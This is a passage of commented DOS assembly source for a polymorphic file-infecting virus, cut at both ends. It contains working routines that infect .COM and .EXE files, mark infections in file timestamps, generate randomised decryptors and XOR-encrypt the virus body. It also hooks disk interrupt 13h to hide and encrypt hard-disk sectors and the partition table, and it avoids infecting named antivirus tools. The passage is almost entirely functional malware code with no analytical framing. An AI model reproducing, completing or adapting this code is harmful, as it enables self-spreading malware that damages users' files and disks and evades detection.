sub_0BA4	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz preparez decode_routine ...
sub_0BDB	proc	near
		mov	dx, 2
		call	random_number		; gimme random_number
		mov	byte ptr ds:[push_what - p], 0Eh; store push_cs
		or	dx, dx			; random_number nullovy ?
		jz	short loc_0BEF
		mov	byte ptr ds:[push_what - p], 16h; nope so store
						; push_ss
loc_0BEF:
		mov	si, offset m_?_i - p	; start with first_phaze
loc_0BF2:
		mov	dx, 8
		call	random_number		; gimme random_number
		cmp	dl, 4			; we don't need sp_reg
		je	loc_0BF2
		mov	bl, dl			; reg 2 bl
		call	sub_0BA4		; set instructionz etc.
		mov	si, offset m_i_? - p	; start with second_phaze
loc_0C05:
		mov	dx, 3
		call	random_number		; gimme random_number
		add	dl, 6
		cmp	dl, 8
		jne	short loc_0C15
		mov	dl, 3			; yope set bx_reg
loc_0C15:
		cmp	dl, bl			; xor_reg = index_reg ?
		je	loc_0C05
		call	sub_0BA4		; nope so set instr. etc.
		xor	cx, cx
		mov	di, offset decode_routine_table - p
loc_0C21:
		cmp	cx, 9			; jnz_instruction ?
		jne	short loc_0C40
loc_0C26:					; yope
						; it'z jnz disp8
						; so it must be in the range
						; 0 - 80h bytez
		mov	dx, 0C8h
		call	random_number		; gimme random_number
		sub	dx, 64h			; sub 0c8h / 2
		add	dx, ds:[xor_offset - p]	; add xor_offset
		cmp	dx, 0			; less than 0 ?
		jl	loc_0C26
		cmp	dx, ds:[max_number - p]	; more or same than max_number?
		jge	loc_0C26
		jmp	short loc_0C46
loc_0C40:
		db	0bah			; mov	dx, ?
max_number	dw	466h			; random_max iz max_number
		call	random_number		; gimme random_number
loc_0C46:
		jcxz	short loc_0C5F		; first timez here ?
		mov	si, offset decode_routine_table - p
		push	cx			; nope
locloop_0C4C:					; so go2 cur_instr and check
						; 4 distancez
		lodsw
		sub	ax, dx			; check 4 distance
		cmp	ax, 0Ah			; more or same than 0ah bytez ?
		jge	loc_0C5C
		cmp	ax, 0FFF6h		; less or same than 0ah bytez ?
		jle	loc_0C5C
		pop	cx			; nope ! get another random_#
		jmp	loc_0C21
loc_0C5C:					; yope
		loop	locloop_0C4C		; so go2 next insrt
		pop	cx			; last_one
loc_0C5F:
		xchg	dx, ax			; random_number 2 ax
		stosw				; store it 2 decode_...
		inc	cx			; inc counter
		cmp	cx, 0Ah			; less than 0ah (10 piecez) ?
		jb	loc_0C21
						; nope = decode_routine_table
						; initialized ...
		mov	bx, offset decode_routine_table - p
		mov	si, offset instr_start - p
loc_0C6D:
		mov	di, offset instr_buffer - p
		lodsb				; read instr_length
		mov	cl, al			; instr_length 2 cx
		mov	dx, 8			; u_instr 2 dx
		sub	dx, cx			; sub it
		mov	ax, [bx+2]		; gimme next_d_entry_offset
						; if jnz_instr next iz
						; viruz_beginning ...
		sub	ax, [bx]		; sub from it cur_d_entry
		cmp	ax, 0Ah			; distance 0ah ?
		jne	short loc_0C8B
		inc	dx			; inc u_instr (we don't need
		inc	dx			; jmp_instr ...)
		call	sub_0B72
		inc	bx			; go2 next decode_routine_
		inc	bx			; _offset
		jmp	short loc_0CB5		; and go on
loc_0C8B:					; nope
		call	random_number		; gimme random_number
		call	sub_0B72		; copy instruction 2 buffer ...
		mov	dx, di			; gimme instr_buffer_offset
		sub	dx, offset three_bytez - p; sub ofs instr_buffer - 3
		add	dx, [bx]		; add cur_d_entry
		mov	al, 0E9h		; far_jmp 2 al
		stosb				; store it
		inc	bx			; go2 next_entry
		inc	bx
		mov	ax, [bx]		; gimme it
		sub	ax, dx			; sub it
		cmp	ax, 7Eh			; distance more than 7eh ?
		jg	short loc_0CB4
		cmp	ax, 0FF7Fh		; distance less than 0ff7fh ?
		jl	short loc_0CB4
		inc	ax			; nope inc distance (jmp_short
						; only 2 bytez ...)
		mov	byte ptr [di-1], 0EBh	; store rather jmp_short
		stosb				; store disp8
		jmp	short loc_0CB5		; and go on
loc_0CB4:					; yope
		stosw				; store disp16
loc_0CB5:
		push	bx
		push	cx
		db	0b9h			; mov	cx, 0
mov_cx_?_	dw	0			; gimme file_pointer
		db	0bah			; mov	dx, 13h
mov_dx_?_	dw	13h
		add	dx, [bx-2]		; add decode_table_entry
		adc	cx, 0			; (the current)
		push	cx
		push	dx
		call	sub_0E63		; go2 f_ptr
		mov	cx, 0Ah			; read 0ah bytez
		db	0bah			; mov	dx, ?
buffer_offset	dw	0a4h			; 2 [buffer_offset]
		add	ds:[buffer_offset - p], cx; go2 next_buffer_offset_entry
		call	f_read_
		pop	dx
		pop	cx
		jc	short loc_0CE6		; error ?
		call	sub_0E63		; go back 2 f_ptr
		xchg	cx, di			; cur_instr_buffer_offset 2 cx
		mov	dx, offset instr_buffer - p; sub offset instr_buffer
		sub	cx, dx			; sub it 2 get instr_size
		call	f_write_		; and write it ...
loc_0CE6:
		pop	cx
		pop	bx
		jc	short loc_ret_0CF3	; error ?
		db	81h,0FBh		; cmp bx, offset beginning_ofs - p
		dw	offset beginning_ofs - p
		jnc	short loc_ret_0CF3	; last decode_routine_entry ?
		jmp	loc_0C6D		; nope so go on ...

loc_ret_0CF3:					; yope
		retn				; so end ...
sub_0BDB	endp

; Duvod presunu do buffer :
; pri zapisu viruz_body do souboru se viruz_body cryptuje, a proto
; musi bejt int_13h a crypt_rutina a rutina co to zapisuje do filu
; mimo dosah crypt_rutiny ...
presun_rutiny:
		mov	cx, offset buffer - p	; gimme size 2 write
		xor	dx, dx			; start with offset null
		call	sub_0D12		; crypt_ it
		mov	ah, 40h			; write crypted_ viruz_body
		mov	bx, ds:[handle - p]	; 2 file; gimme handle
		pushf				; and
		db	9Ah			; call far ptr old_int_21h
old_int_21h	dw	0, 0
		jc	short loc_0D0C		; error ?
		cmp	ax, cx			; written_&_wanted the same ?
loc_0D0C:
		pushf				; push flagz
		call	sub_0D12		; decrypt_ viruz_body
		popf				; restore flagz
		retn				; and end ...

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz cryptz_ viruz_body
sub_0D12	proc	near
		push	cx
		mov	si, dx			; gimme viruz_start_offset
		db	0b8h			; mov	ax, 0
crypt_viruz	dw	0			; gimme init_crypt_vale
		mov	cx, offset buffer - p	; gimme viruz_size

locloop_0D1B:
		xor	[si], ax		; crypt_it
		db	05h			; add	ax, ?
next_crypt_value	dw	0		; go2 next_crypt_value
		inc	si			; go2 next viruz_byte
		loop	locloop_0D1B		; and go on

		pop	cx
		retn				; and end ...
sub_0D12	endp

new_int_24h:
		mov	al, 3
		iret

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz callz old_int_13h
sub_0D28	proc	near
		pushf
		call	dword ptr cs:[old_int_13h - p__]
		retn
sub_0D28	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz getz cylinder_number in si
sub_0D2F	proc	near
		push	cx
		push	dx
		shr	cl, 1
		shr	cl, 1
		and	dh, 0C0h
		or	dh, cl
		mov	cl, 4
		shr	dh, cl
		mov	dl, ch
		xchg	si, dx
		pop	dx
		pop	cx
		retn
sub_0D2F	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz cryptz_ a buffer
crypt_		proc	near
		push	ax
		push	bx			; push regz
		push	cx
		db	0b0h			; mov	al, ?
secz_count	db	0			; gimme secz_count
		db	0bbh			; mov	bx, ?
buf_ptr		dw	0			; gimme buf_ptr
loc_0D4D:
		mov	cx, 100h		; do it 256*
						; (in wordz)
locloop_0D50:
		db	26h, 81h, 37h		; xor	word ptr es:[bx], ?
crypt_value	dw	2b50h			; xor word ...
		inc	bx			; go2 next_word in buffer
		inc	bx
		loop	locloop_0D50		; and go on

		dec	al			; dec secz_count
		jnz	loc_0D4D		; last one ?
		pop	cx			; yope
		pop	bx			; restore regz
		pop	ax
		retn				; and end ...
crypt_		endp


new_int_13h:
		cmp	ah, 2			; read sector(z) ?
		je	short loc_0D6E
		cmp	ah, 3			; write sector(z) ?
		je	short loc_0D6E
		jmp	loc_0E50		; nope so end
loc_0D6E:
		cmp	dx, 80h			; 0.head, first_harddisk ?
		jne	short loc_0DE0
		test	cx, 0FFC0h		; cylinder nullovej ?
		jnz	short loc_0DE0
		push	bx			; ok it could be work with
		push	dx			; partition_table or with
		push	si			; viruz_body
		push	di
		push	cx
		push	cx
		mov	si, ax			; gimme ax_reg
		and	si, 0FFh		; gimme secz_2_work
		mov	di, si
		mov	al, 1
		push	ax
		jz	short loc_0DBB		; secz_2_work nullovy ?
		jcxz	short loc_0DDB		; sec_number nullovy ?
		cmp	cl, 1			; work with parition_table ?
		je	short loc_0DCD
loc_0D94:					; nope so it could be viruz
		db	80h, 0f9h		; body
max_sektor	db	11h			; cmp	cl, ?
		ja	short loc_0DDB		; are we in the range
		db	80h, 0f9h		; cmp	cl, ?
partition_sec_n	db	0ah			; where'z viruz_body ?
		jb	short loc_0DD2
		cmp	ah, 3			; yope = writing ?
		je	short loc_0DDB		; (end_with error)
		push	bx
		mov	cx, 200h		; do it 512*

locloop_0DA7:
		mov	byte ptr es:[bx], 0	; store null
		inc	bx			; inc buffer_ptr
		loop	locloop_0DA7		; and go on ...

		pop	bx
loc_0DAF:
		add	bx, 200h		; go2 next_sec_in_buffer
		pop	ax
		pop	cx
		inc	cx			; inc sec_number
		push	cx
		push	ax
		dec	si			; dec secz_2_work
		jnz	loc_0D94		; nullovy ?
loc_0DBB:
		clc
loc_0DBC:					; yope
		pop	ax			; restore ax_reg
		pushf
		xchg	di, ax			; secz_2_work 2 ax
		sub	ax, si			; sub secz_that_weren't_read
		popf
		mov	ah, ch			; error number 2 ah
		pop	cx
		pop	cx
		pop	di			; restore regz
		pop	si
		pop	dx
		pop	bx
		retf	2			; and end ...
loc_0DCD:
		mov	cl, byte ptr cs:[partition_sec_n - p__]	; yope
						; so gimme parition_table_sec
loc_0DD2:
		call	sub_0D28		; write or read it
		mov	ch, ah			; gimme possible_error_number
		jc	loc_0DBC		; error ?
		jmp	short loc_0DAF		; nope = go on
loc_0DDB:					; yope
		stc				; so set up error_flag
		mov	ch, 0BBh		; and error_number 2 ch
		jmp	short loc_0DBC		; (undefined_error)
loc_0DE0:					; nope
		cmp	dl, 80h			; it'z first_harddisk ?
		jne	short loc_0E50
		push	ax
		push	cx
		push	dx
		push	si			; push regz
		push	ds
		push	cs
		pop	ds
		mov	byte ptr ds:[secz_count - p__], 0	; store null
		mov	word ptr ds:[buf_ptr - p__], bx	; store bx
		call	sub_0D2F		; gimme cylinder_number
		and	cl, 3Fh			; voklesti sector
		and	dh, 3Fh			; voklesti head
loc_0DFE:
		or	al, al			; secz_2_work nullovy ?
		jz	short loc_0E31
		db	81h, 0feh		; cmp	si, ?
max_cyl_number	dw	265h			; are we in the range
		jae	short loc_0E31		; where'z harddisk
		db	81h, 0feh		; cmp	si, ?
cur_cyl_number	dw	1234h			; crypted_ ?
		jb	short loc_0E14
		inc	byte ptr ds:[secz_count - p__]	; yope inc secz_count
		jmp	short loc_0E1A
loc_0E14:
		add	word ptr ds:[buf_ptr - p__], 200h; go2 next_sec_in_buf
loc_0E1A:
		dec	al			; dec secz_2_work
		inc	cl
		db	80h, 0f9h		; cmp	cl, ?
max_sektor_2	db	11h			; sector in range ?
		jbe	loc_0DFE
		mov	cl, 1			; nope so sector 2 1
		inc	dh			; and inc head
		db	80h, 0feh		; cmp	dh, ?
max_heads	db	07h			; head in range ?
		jbe	loc_0DFE
		xor	dh, dh			; nope so head 2 null
		inc	si			; and inc cylinder
		jmp	short loc_0DFE		; and go on
loc_0E31:					; yope
		cmp	byte ptr ds:[secz_count - p__], 0; must we (un)crypt_
		pop	ds			; something ?
		pop	si			; restore regz
		pop	dx
		pop	cx
		pop	ax
		jz	short loc_0E50
		cmp	ah, 2			; yope; read ?
		je	short loc_0E45
		call	crypt_			; nope write; crypt_ it
loc_0E45:
		call	sub_0D28		; do it
		pushf
		call	crypt_			; and uncrypt_ it
		popf
		retf	2
loc_0E50:					; end ...
		db	0EAh			; jmp far ptr old_int_13h
old_int_13h	label	near


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz writez 2 file ...
f_write_	proc	near
		mov	ah, 40h
		jmp	$ + 4
f_write_	endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz readz from file ...
f_read_	proc	near
		mov	ah, 3Fh			; '?'
		call	sub_0E6F
		jc	short loc_ret_0E5E
		cmp	ax, cx

loc_ret_0E5E:
		retn
f_read_	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz call f_ptr fc
sub_0E5F	proc	near
		xor	cx, cx
		mov	dx, cx
sub_0E63:
		mov	ax, 4200h
		jmp	short loc_0E6F
sub_0E68:
		xor	cx, cx
		mov	dx, cx
sub_0E6C:
		mov	ax, 4202h
sub_0E6F:
loc_0E6F:
		mov	bx, word ptr cs:[handle - p]

; Diz call old_int_21h
int_21h:
		pushf
		cli
		call	dword ptr cs:[old_int_21h - p__]
		retn
sub_0E5F	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz infectz the file ...
sub_0E7C	proc	near
		mov	bp, sp
		mov	ax, 5700h		; gimme file_time_&_date
		call	sub_0E6F
		mov	bx, offset file_time_date - p
		mov	[bx], cx		; store time_stamp
		mov	[bx+2], dx		; store date_stamp
		call	sub_1157		; file already infected ?
		jc	short loc_0F0A
		mov	dx, 1Eh
		call	random_number		; gimme random_number
		or	dx, dx			; nullovy ?
		jz	short loc_0E9D
		mov	[bx], ax		; nope so store new_time_stamp
loc_0E9D:
		mov	word ptr ds:[buffer_offset - p], offset overwritten_bytez - p
		mov	dx, 0FFFFh
		push	dx
		call	random_number		; gimme random_number
		mov	ds:[crypt_viruz_value - p], dx	; store it
		mov	ds:[crypt_viruz - p__], dx	; store it
		pop	dx
		call	random_number		; gimme next_random_number
		mov	ds:[next_crypt_value_ - p], dx	; store it
		mov	ds:[next_crypt_value - p__], dx	; store it
		call	sub_0E5F		; go2 sof
		mov	cx, 1Ah			; read 1ah_bytez
		mov	dx, offset file_buffer - p; 2 file_buffer
		push	dx			; (exe_hdr or 3bytez from com)
		call	f_read_			; read it
		jc	short loc_0F24		; error ?
		xchg	si, dx			; move these
		mov	di, offset exe_header - p
		rep	movsb			; bytez
		call	sub_0E68		; go2 eof
		mov	si, ax			; size in ax : dx
		mov	di, dx			; 2 si : di
		pop	bx
		cmp	word ptr [bx], 4D5Ah	; 'MZ' ?
		je	short loc_0EFA		; it'z exe_file ?
		cmp	word ptr [bx], 5A4Dh	; 'ZM' ?
		je	short loc_0EFA		; it'z exe_file ?
		mov	byte ptr ds:[exe_flag - p], 0; nope = clear exe_flag
		cmp	ax, 0EFA6h		; file not 2 big ?
		cmc
		jc	short loc_0F24
		mov	ax, 3			; nope
		cwd				; nulluj dx_reg
		push	bx
		jmp	short loc_0F16
loc_0EFA:
		mov	byte ptr ds:[exe_flag - p], 1	; set up exe_flag
		mov	ax, [bx+4]		; gime page_cnt
		mul	word ptr ds:[page_size_ - p]	; mul it with page_size
		sub	ax, si
		sbb	dx, di
loc_0F0A:
		jc	short loc_0F24
		mov	ax, [bx+8]		; gimme hdr_size
		mul	word ptr ds:[hdr_size_ - p]	; mul it with hdr_size
		push	bx
		push	ax
		push	dx
loc_0F16:
		sub	si, ax			; sub hdr_size
		sbb	di, dx			; or 3 bytez 4 far_jmp
		or	di, di			; file bigger than 0ffffh bytez ?
		jnz	short loc_0F2C
		mov	dx, si			; nope
		sub	dx, 3E8h		; so check whether the file
loc_0F24:					; iz not 2 small
		jc	short loc_0F98
		cmp	dx, 7D0h		; size less than 7d0h ?
		jbe	short loc_0F2F
loc_0F2C:
		mov	dx, 7D0h		; set max_number 2 7d0h
loc_0F2F:
		call	random_number		; gimme random_number
		add	dx, 3E8h		; add 7d0h / 2
		mov	ds:[viruz_start - p], dx	; store viruz_start
		add	dx, offset buffer - p + 280h	; add dx viruz_size
							; + space 4 stack
		cmp	byte ptr ds:[exe_flag - p], 0	; exe_file ?
		je	short loc_0F49
		mov	ds:[file_buffer - p + 10h], dx	; yope store new exe_sp
loc_0F49:
		add	dx, 0FD80h		; sub 280h
		mov	ds:[viruz_end - p], dx	; store viruz_end
		add	dx, 0 - (offset buffer - offset loc_08d1)
		mov	ds:[beginning_ofs - p], dx; store beginning_ofs
		add	dx, 0 - (offset loc_08d1 - offset loc_0582) - 9
		mov	ds:[max_number - p], dx	; store max_number
		add	dx, 8			; add 8 (viz up - 9 ...)
		not	dx			; make signed_number
		mov	cx, 0FFFFh		; the f_ptr functionz
						; are signed
						; so it will sub from the eof
						; cx : dx ...
		call	sub_0E6C
		mov	ds:[mov_cx_?_ - p], dx	; store new_file_poz
		mov	ds:[mov_dx_?_ - p], ax	; as a base ...
		cmp	byte ptr ds:[exe_flag - p], 0	; com_file ?
		jne	short loc_0F81
		xchg	dx, ax			; gimme base
		add	dx, 100h		; add 100h
		jmp	short loc_0F8B		; and go on
loc_0F81:
		pop	di
		pop	si
		sub	ax, si			; count base_addr
		sbb	dx, di
		div	word ptr ds:[hdr_size_ - p]
loc_0F8B:
		add	ds:[viruz_start - p], dx; add base
		add	ds:[viruz_end - p], dx	; add base
		push	ax
		push	dx
		call	sub_0BDB		; ok now prepare decode_rout...
loc_0F98:
		jc	short loc_0FFE		; error ?
		pop	dx			; and now add base
		pop	ax			; 2 decode_routine_table_
		mov	cx, 0Ah			; _entryz ...
		mov	si, offset decode_routine_table - p

locloop_0FA2:
		add	[si], dx		; add base
		inc	si			; go2 next_entry
		inc	si
		loop	locloop_0FA2		; and go on ...

		pop	bx
		cmp	byte ptr ds:[exe_flag - p], 0	; com_file ?
		jne	short loc_0FD0
		mov	byte ptr [bx], 0E9h	; store far_jump
		mov	ax, ds:[decode_routine_table - p]; gimme jump_offset
		sub	ax, 103h		; sub 103h (100h PSP and 03h
						; far_jmp)
		mov	[bx+1], ax		; store it
		mov	word ptr ds:[relo_cnt - p], 0; store relo_cnt
		mov	word ptr ds:[relo_cs - p], 0FFF0h; store relo_cs
		mov	word ptr ds:[exe_ip - p], 100h; store exe_ip
		jmp	short loc_0FF7		; and go on
loc_0FD0:					; nope exe_file
		mov	[bx+16h], ax		; store relo_cs
		mov	[bx+0Eh], ax		; store relo_ss
		mov	ax, ds:[decode_routine_table - p]; gimme starting_ofs
		mov	[bx+14h], ax		; store exe_ip
		add	[bx+10h], dx		; add it 2 exe_sp
		mov	word ptr [bx+6], 0	; nulluj relo_cnt
		mov	ax, 28h			; my_min_mem 2 ax
		cmp	[bx+0Ah], ax		; compare it with min_mem
		jae	short loc_0FEF		; more ?
		mov	[bx+0Ah], ax		; yope so store my_min_mem
loc_0FEF:
		cmp	[bx+0Ch], ax		; compare it with max_mem
		jae	short loc_0FF7		; more ?
		mov	[bx+0Ch], ax		; yope so store my_max_mem
loc_0FF7:
		push	bx
		call	sub_0E68		; go2 eof
		db	0e8h			; call presun_rutiny (
						; viruz_body_crypt_&_write)
		dw	offset presun_rutiny - presun_rutiny + buffer - next___
next___		label	near			; crypt_ it and write it
loc_0FFE:
		jc	short loc_1031
		call	sub_0E68		; go2 eof
		div	word ptr ds:[page_size_ - p]	; div new_file_size
		inc	ax			; 2 count pagez
		pop	bx
		cmp	byte ptr ds:[exe_flag - p], 0	; exe_file ?
		je	short loc_1016
		mov	[bx+4], ax		; store new page_cnt
		mov	[bx+2], dx		; store new part_pag
loc_1016:
		push	bx
		call	sub_0E5F		; go2 sof
		mov	cx, 1Ah
		pop	dx
		call	f_write_		; write new_exe_header 2 file
		jc	short loc_1031		; error ?
		mov	ax, 5701h		; set back file_time_date
		mov	cx, ds:[file_time_date - p]	; gimme time_stamp
		mov	dx, ds:[file_time_date - p + 2]	; gimme date_stamp
		call	sub_0E6F		; set it
loc_1031:
		mov	sp, bp
		retn				; and end ...
sub_0E7C	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz setz my own error_handler
sub_1034	proc	near
		push	dx
		push	ds
		push	cs
		pop	ds
		mov	ax, 3524h		; gimme old_int_24h
		call	int_21h
		mov	ds:[old_int_24h - p + 2], es	; store it
		mov	ds:[old_int_24h - p], bx
		mov	ax, 2524h		; and set my own
		mov	dx, offset new_int_24h - p__	; handler
		call	int_21h
		pop	ds
		pop	dx
		retn				; and end ...
sub_1034	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz setz back old_int_24h
sub_1052	proc	near
		mov	ax, 2524h
		lds	dx, dword ptr cs:[old_int_24h - p]; gimme old_int_24h
		call	int_21h			; set it back
		retn				; and end ...
sub_1052	endp

_com_		db	04h, '.COM'		; offset 105eh
_exe_		db	04h, '.EXE'		; offset 1063h
_scan_		db	04h, 'SCAN'		; offset 1068h
_clean_		db	05h, 'CLEAN'		; offset 106dh
_findviru_	db	08h, 'FINDVIRU'		; offset 1073h
_guard_		db	05h, 'GUARD'		; offset 107ch
_nod_		db	03h, 'NOD'		; offset 1082h
_vsafe_		db	05h, 'VSAFE'		; offset 1086h
_msav_		db	04h, 'MSAV'		; offset 108ch
_chkdsk_	db	06h, 'CHKDSK'		; offset 1091h
		
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz checkz the file_name and drive ...
sub_1098	proc	near
		push	dx
		push	bx
		push	cx
		push	si
		push	di			; push regz
		push	ds
		push	es
		push	ax
		mov	si, dx			; gimme file_name_offset
		mov	di, name_buffer - p	; gimme buffer where 2 store
		push	cs
		pop	es
		lea	bx, [di-1]
		mov	cx, 4Bh			; try it 4bh*

locloop_10AD:
		lodsb				; read byte
		cmp	al, 61h			; 'a'
		jb	short loc_10B8		; low_case ?
		cmp	al, 7Ah			; 'z'
		ja	short loc_10B8
		sub	al, 20h			; yope so make high_case
loc_10B8:
		push	ax
		push	si
loc_10BA:					; nope
		cmp	al, 20h			; space ?
		jne	short loc_10C7
		lodsb				; read byte
		or	al, al			; null ?
		jnz	loc_10BA
		pop	si			; yope
		pop	si
		jmp	short loc_10D7		; end ...
loc_10C7:
		pop	si
		pop	ax
		cmp	al, 5Ch			; '\'
		je	short loc_10D5
		cmp	al, 2Fh			; '/'
		je	short loc_10D5
		cmp	al, 3Ah			; ':'
		jne	short loc_10D7
loc_10D5:
		mov	bx, di			; store offset 2 bx
loc_10D7:
		stosb				; store byte
		or	al, al			; null ?
		jz	short loc_10DE
		loop	locloop_10AD		; and go on

loc_10DE:					; yope
		mov	si, offset _com_ - p	; check 4 .COM or .EXE
		sub	di, 5			; sub 5 (.XXX, 0)
		push	cs
		pop	ds
		call	sub_1149		; it'z .COM ?
		jz	short loc_10F0
		call	sub_1149		; it'z .EXE ?
		jnz	short loc_113C
loc_10F0:					; yope
		pop	ax
		push	ax
		xchg	di, bx			; gimme file_name_offset
		inc	di			; inc it (/, \, or : ...)
		cmp	ax, 4B00h		; fc run file ?
		jne	short loc_1107
		mov	si, offset _chkdsk_ - p
		call	sub_1149		; do we run CHKDISK ?
		jnz	short loc_1107
		mov	byte ptr ds:[fcb_jmp_ - p], offset loc_121a - (fcb_jmp_ + 1)
					; yope so turn off fcb_sub_viruz_size
loc_1107:
		mov	cx, 7			; check 4 7 antivirusez
		mov	si, offset _scan_ - p	; start with SCAN

locloop_110D:
		push	cx
		call	sub_1149		; compare name
		pop	cx
		jz	short loc_113C		; it'z antiviruz ?
		loop	locloop_110D		; nope go on

		mov	si, offset name_buffer - p	; gimme name_buffer
		xor	bl, bl			; 2 get drive
		lodsw
		cmp	ah, 3Ah			; ':'
		jne	short loc_1125
		sub	al, 40h			; ok make valid_drive_number
		mov	bl, al			; and store it 2 bl
loc_1125:
		mov	ax, 4408h		; get drive_statuz
		call	int_21h
		or	ax, ax			; medium can be exchanged ?
which_jump_?	db	74h
		db	offset loc_1146 - ($ + 1)
		mov	ax, 4409h		; get far disk statuz
		call	int_21h
		jc	short loc_113C		; error ?
		test	dh, 10h			; iz far disk in net ?
		jnz	short loc_1146
loc_113C:
		stc				; set error_flag
loc_113D:
		pop	ax
		pop	es
		pop	ds
		pop	di
		pop	si			; restore regz
		pop	cx
		pop	bx
		pop	dx
		retn				; and end ...
loc_1146:
		clc				; clear error_flag
		jmp	short loc_113D		; and end ...
sub_1098	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz comparez 2 stringz
sub_1149	proc	near
		push	di
		lodsb			; gimme bytez_count
		mov	cl, al		; store it 2 cx
		mov	ax, si		; gimme si
		add	ax, cx		; add bytez_count 2 offset
		repe	cmpsb		; compare
		mov	si, ax		; store new_offset
		pop	di
		retn			; and end ...
sub_1149	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz checkz whether there'z a viruz in the file or not ...
; and if not returnz in ax the value which iz 4 infected
sub_1157	proc	near
		push	dx
		mov	ax, es:[bx+2]		; gimme date
		xor	dx, dx
		div	word ptr cs:[date_div-p]; div it
		mov	ax, es:[bx]		; gimme time
		and	al, 1Fh			; and it
		cmp	al, dl			; the same ?
		stc				; set Cflag (infected)
		jz	short loc_1176
		mov	ax, es:[bx]		; gimme time
		and	ax, 0FFE0h		; and it
		or	al, dl			; or it with date
		clc				; clear Cflag (not infected)
loc_1176:
		pop	dx
		retn				; and end ...
sub_1157	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Sub viruz_size
sub_1178	proc	near
		sub	word ptr es:[bx], offset buffer - p; sub viruz_file
		sbb	word ptr es:[bx+2], 0
		jnc	short loc_ret_118E	; underflow ?
		add	word ptr es:[bx], offset buffer - p; yope
		adc	word ptr es:[bx+2], 0	; so add it back

loc_ret_118E:
		retn
sub_1178	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
